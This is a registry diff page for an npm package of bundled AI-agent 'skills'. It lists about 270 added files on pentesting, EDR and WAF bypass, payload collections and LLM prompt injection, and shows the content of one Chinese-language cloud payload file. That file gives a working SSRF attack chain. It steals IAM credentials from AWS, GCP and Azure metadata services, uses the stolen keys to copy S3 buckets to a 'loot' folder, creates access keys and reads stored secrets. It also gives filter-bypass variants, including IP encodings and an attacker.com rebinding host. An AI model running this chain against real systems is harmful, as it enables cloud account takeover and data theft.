opencode-skills-collection 4.0.43 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,561 @@
1
+ # 云安全漏洞
2
+
3
+ _4 条 web payload_
4
+
5
+ ### 云SSRF窃取元数据凭据 `cloud-ssrf-metadata`
6
+ _利用SSRF漏洞访问云服务(AWS/GCP/Azure)的实例元数据服务(IMDS)获取临时IAM凭据。攻击者可通过获取的Access Key接管云资源,实现从Web漏洞到云环境的横向升级。_
7
+ 子类:**IMDS攻击** · tags: `云安全` `SSRF` `AWS` `GCP` `Azure` `IMDS` `元数据`
8
+
9
+ **前置条件:**
10
+ - 目标运行在云环境
11
+ - 存在SSRF漏洞
12
+ - 实例绑定了IAM角色
13
+
14
+ **攻击链:**
15
+
16
+ **1. AWS元数据服务探测**
17
+ > 通过SSRF访问AWS EC2实例元数据服务获取IAM临时凭据
18
+ ```
19
+ # IMDSv1——无需特殊Header
20
+ curl -s "https://{TARGET}/proxy?url=http://169.254.169.254/latest/meta-data/"
21
+
22
+ # 获取IAM角色名
23
+ curl -s "https://{TARGET}/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
24
+
25
+ # 获取临时凭据
26
+ curl -s "https://{TARGET}/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE_NAME}"
27
+
28
+ # 获取用户数据(可能包含启动脚本中的密钥)
29
+ curl -s "https://{TARGET}/proxy?url=http://169.254.169.254/latest/user-data"
30
+ ```
31
+ **语法解析:**
32
+ - `169.254.169.254` — AWS/GCP/Azure通用的IMDS地址(Link-Local) _domain_
33
+ - `/latest/meta-data/` — AWS元数据API根路径 _path_
34
+ - `/iam/security-credentials/` — IAM角色临时凭据端点 _path_
35
+ - `/latest/user-data` — 实例用户数据——可能包含硬编码密钥 _path_
36
+
37
+ **2. GCP/Azure元数据利用**
38
+ > 获取GCP和Azure云环境的元数据凭据和管理令牌
39
+ ```
40
+ # GCP元数据——需要Metadata-Flavor头
41
+ curl -s "https://{TARGET}/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
42
+
43
+ # GCP获取项目信息
44
+ curl -s "https://{TARGET}/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/project-id" -H "Metadata-Flavor: Google"
45
+
46
+ # Azure IMDS
47
+ curl -s "https://{TARGET}/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"
48
+
49
+ # Azure管理令牌
50
+ curl -s "https://{TARGET}/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -H "Metadata: true"
51
+ ```
52
+ **语法解析:**
53
+ - `metadata.google.internal` — GCP元数据服务内部域名 _domain_
54
+ - `Metadata-Flavor: Google` — GCP强制要求的Header(防SSRF) _header_
55
+ - `Metadata: true` — Azure强制要求的Header _header_
56
+ - `/identity/oauth2/token` — Azure托管身份令牌端点 _path_
57
+
58
+ **3. 利用获取的凭据横向移动**
59
+ > 使用窃取的云凭据通过AWS CLI枚举云资源和权限
60
+ ```
61
+ # 配置AWS CLI使用窃取的凭据
62
+ export AWS_ACCESS_KEY_ID="{STOLEN_ACCESS_KEY}"
63
+ export AWS_SECRET_ACCESS_KEY="{STOLEN_SECRET_KEY}"
64
+ export AWS_SESSION_TOKEN="{STOLEN_SESSION_TOKEN}"
65
+
66
+ # 枚举权限
67
+ aws sts get-caller-identity
68
+ aws iam list-attached-role-policies --role-name {ROLE_NAME}
69
+
70
+ # 列举S3桶
71
+ aws s3 ls
72
+
73
+ # 枚举EC2实例
74
+ aws ec2 describe-instances --query "Reservations[].Instances[].{ID:InstanceId,IP:PrivateIpAddress,State:State.Name}"
75
+ ```
76
+ **语法解析:**
77
+ - `AWS_ACCESS_KEY_ID` — AWS访问密钥ID环境变量 _variable_
78
+ - `sts get-caller-identity` — 验证当前身份和账号信息 _command_
79
+ - `s3 ls` — 列举所有可访问的S3存储桶 _command_
80
+ - `--query` — JMESPath查询过滤输出 _parameter_
81
+
82
+ **4. 深度利用——S3数据泄露/权限提升**
83
+ > 利用获取的云凭据导出S3数据、检查IAM提权可能性和提取密钥
84
+ ```
85
+ # S3桶数据下载
86
+ aws s3 sync s3://{BUCKET_NAME} ./loot/ --no-sign-request 2>/dev/null
87
+ aws s3 ls s3://{BUCKET_NAME} --recursive | head -50
88
+
89
+ # 检查是否可以提权
90
+ aws iam list-users
91
+ aws iam create-access-key --user-name admin 2>/dev/null
92
+ aws lambda list-functions
93
+ aws ssm describe-parameters
94
+
95
+ # 检查Secrets Manager
96
+ aws secretsmanager list-secrets
97
+ aws secretsmanager get-secret-value --secret-id {SECRET_NAME}
98
+ ```
99
+ **语法解析:**
100
+ - `s3 sync` — 批量下载S3桶中的文件 _command_
101
+ - `create-access-key` — 为其他用户创建永久访问密钥(提权) _command_
102
+ - `secretsmanager get-secret-value` — 读取Secrets Manager中的敏感信息 _command_
103
+
104
+ **WAF/EDR 绕过变体:**
105
+
106
+ **绕过SSRF的IMDS防护**
107
+ > 通过IP变形、DNS重绑定和协议走私绕过SSRF对IMDS地址的过滤
108
+ ```
109
+ # IMDSv2需要PUT获取Token——尝试Header注入
110
+ curl "https://{TARGET}/proxy?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -X PUT
111
+
112
+ # IP变形
113
+ http://[::ffff:169.254.169.254]
114
+ http://0xa9fea9fe
115
+ http://2852039166
116
+ http://169.254.169.254.nip.io
117
+
118
+ # DNS重绑定
119
+ http://169-254-169-254.attacker.com # 解析到169.254.169.254
120
+
121
+ # 协议走私
122
+ gopher://169.254.169.254:80/_GET%20/latest/meta-data/%20HTTP/1.1%0d%0aHost:%20169.254.169.254%0d%0a%0d%0a
123
+ ```
124
+ **语法解析:**
125
+ - `0xa9fea9fe` — 169.254.169.254的十六进制表示 _encoding_
126
+ - `::ffff:169.254.169.254` — IPv6映射地址绕过IPv4过滤 _encoding_
127
+ - `gopher://` — Gopher协议走私HTTP请求 _technique_
128
+ - `nip.io` — 动态DNS服务——域名解析到对应IP _domain_
129
+
130
+
131
+ **概述:** 云SSRF窃取元数据凭据是近年来最具影响力的攻击面之一。2019年Capital One数据泄露事件(影响1亿+用户)正是通过SSRF访问AWS IMDS获取IAM凭据实现的。云实例的元数据服务(169.254.169.254)提供临时凭据、用户数据、网络配置等敏感信息。一旦Web应用存在SSRF漏洞,攻击者可直接从Web层穿透到云基础设施层。
132
+
133
+ **漏洞原理:** 漏洞根因:(1)AWS IMDSv1不需要任何认证即可访问(仅限实例内部网络);(2)Web应用存在SSRF漏洞允许请求内网地址;(3)EC2实例绑定了权限过大的IAM角色(违反最小权限);(4)用户数据(user-data)中硬编码了密钥/密码;(5)即使启用IMDSv2(需要PUT获取Token),某些SSRF场景(如Header注入)仍可绕过;(6)GCP和Azure的Header防护在某些SSRF类型中可被绕过。
134
+
135
